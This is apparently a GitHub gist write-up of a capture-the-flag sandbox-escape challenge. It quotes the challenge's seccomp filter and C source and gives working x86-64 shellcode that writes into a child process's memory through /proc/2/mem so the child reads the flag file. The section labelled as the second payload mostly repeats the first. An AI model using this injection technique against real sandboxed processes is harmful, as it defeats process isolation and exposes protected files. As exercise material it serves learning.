Skip to content

Instantly share code, notes, and snippets.

@cwgreene
Last active August 24, 2020 04:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cwgreene/8d6993f57e1ab426f1e360dee91eeff8 to your computer and use it in GitHub Desktop.
Save cwgreene/8d6993f57e1ab426f1e360dee91eeff8 to your computer and use it in GitHub Desktop.
Writeonly Writeup

So we're presented with a process where we can execute arbitrary shellcode (yay syscalls!) but are restricted in which syscalls we can make.

void setup_seccomp() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_KILL);
  int ret = 0;
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lstat), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(writev), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sched_yield), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup2), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fork), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(vfork), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(kill), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchdir), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(gettimeofday), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getuid), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getgid), 0); 
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); 
  ret |= seccomp_load(ctx);
  if (ret) {
    exit(1);
  }
}

of note, although we cannot call read we can invoke write and open. Furthermore, prior to initialization of the seccomp controls, a child process was forked.

void check_flag() {
  while (1) {
    char buf[4] = "";
    //int fd = check(open("/home/user/flag", O_RDONLY), "open(flag)");
    int fd = check(open("flag", O_RDONLY), "open(flag)");
    if (read(fd, buf, sizeof(buf)) != sizeof(buf)) {
      err(1, "read(flag)");
    }
    close(fd);
    if (memcmp(buf, "CTF{", sizeof(buf)) != 0) {
      errx(1, "flag doesn't start with CTF{");
    }
    sleep(1);
  }
}

int main(int argc, char *argv[]) {
  pid_t pid = check(fork(), "fork");
  if (!pid) {
    while (1) {
      check_flag();
    }
    return 0;
  }

  printf("[DEBUG] child pid: %d\n", pid);
  void_fn sc = read_shellcode();
  setup_seccomp();
  sc();

  return 0;
}

Since we have file access, and we know the pid (given both by stdout, and the fact that it's always 2), we can simply access the child's TEXT section and overwrite the code that will be executed after the sleep.

So we have two payloads. The first is the one responsible for opening the child processes's memory, and then writing the second payload which opens the flag file and writes it to stdout (which is shared with the parent process).

Payload1:

[BITS 64]

mov rsi, [rbp-0xc]
add rsp, -0x200
mov rdi, rsp
mov rcx, '/proc/2/'
mov [rdi], rcx

; this was split into two secitons
; because I thought I needed to dynamically update '/proc/$PID'
mov dl, 'm'
mov [rdi+8], dl
mov dl, 'e'
mov [rdi+9], dl
mov dl, 'm'
mov [rdi+10], dl
mov dl, 0x0
mov [rdi+11], dl

;; Okay, we have the mem string
; open mem
mov rax, 2
mov rdx, 0
mov rsi, 1 ; O_WRONLY
syscall
mov r9, rax ; store filedescriptor

; push new shellcode to stack; generate this code
; from shell See "Part 2"
;; Put shell code into r10
mov r10, DATA

;; Seek to target location
mov rax, 8 ; lseek
mov rdi, r9
mov rsi, 0x004022e3 ; replace jmp after sleep with our code
mov rdx, 0 ; SET_SEEK
syscall

;; Write Shell code
mov rax, 1
mov rdi, r9
lea rsi, [rel DATA]
mov rdx, 100; sizeof(shellcode)
syscall

;; busy wait, let the other process do stuff, don't know how to yield
;; don't know if HLT works, nor do I know 'sleep' location. Sorry sre's.
mark:
  jmp mark ;mov rsi, [rbp-0xc]

DATA:
db 72, 184, 101, 114, 47, 102, 108, 97, 103, 0, 80, 72, 184, 47, 104, 111, 109, 101, 47, 117, 115, 80, 191, 1, 0, 0, 0, 72, 137, 230, 186, 15, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5, 184, 2, 0, 0, 0, 72, 137, 231, 190, 0, 0, 0, 0, 186, 0, 0, 0, 0, 15, 5, 72, 137, 199, 72, 137, 230, 186, 100, 0, 0, 0, 184, 0, 0, 0, 0, 15, 5, 191, 1, 0, 0, 0, 72, 137, 230, 186, 100, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5

Payload2 (technically it's the DATA section)

[BITS 64]

mov rsi, [rbp-0xc]
add rsp, -0x200
mov rdi, rsp
mov rcx, '/proc/2/'
mov [rdi], rcx

; 
;mov eax, esi
;mov ecx, 10

; 1s
;div ecx
;add edx, 30
;mov [rdi+6],  dl

; 10s
;div ecx
;add edx, 30
;ov [rdi+6],  dl

; 100s
;div ecx
;add edx, 30
;mov [rdi+6],  dl

; 1000s
;div ecx
;add edx, 30
;mov [rdi+6],  dl
; assume 4 or five digit PID, try again if fails

;;  think I need an indirect register for this
;mov dl, '/'
;mov [rdi+8], dl
mov dl, 'm'
mov [rdi+8], dl
mov dl, 'e'
mov [rdi+9], dl
mov dl, 'm'
mov [rdi+10], dl
mov dl, 0x0
mov [rdi+11], dl

;; Okay, we have the mem string
; open mem
mov rax, 2
mov rdx, 0
mov rsi, 1 ; O_WRONLY
syscall
mov r9, rax ; store filedescriptor

; push new shellcode to stack; generate this code
; from shell See "Part 2"
;; Put shell code into r10
mov r10, DATA

;; Seek to target location
mov rax, 8 ; lseek
mov rdi, r9
mov rsi, 0x004022e3 ; replace jmp after sleep with our code
mov rdx, 0 ; SET_SEEK
syscall

;; Write Shell code
mov rax, 1
mov rdi, r9
lea rsi, [rel DATA]
mov rdx, 100; sizeof(shellcode)
syscall

;; busy wait, let the other process do stuff, don't know how to yield
;; don't know if HLT works, nor do I know 'sleep' location. Sorry sre's.
mark:
  jmp mark ;mov rsi, [rbp-0xc]

DATA:
db 72, 184, 101, 114, 47, 102, 108, 97, 103, 0, 80, 72, 184, 47, 104, 111, 109, 101, 47, 117, 115, 80, 191, 1, 0, 0, 0, 72, 137, 230, 186, 15, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5, 184, 2, 0, 0, 0, 72, 137, 231, 190, 0, 0, 0, 0, 186, 0, 0, 0, 0, 15, 5, 72, 137, 199, 72, 137, 230, 186, 100, 0, 0, 0, 184, 0, 0, 0, 0, 15, 5, 191, 1, 0, 0, 0, 72, 137, 230, 186, 100, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment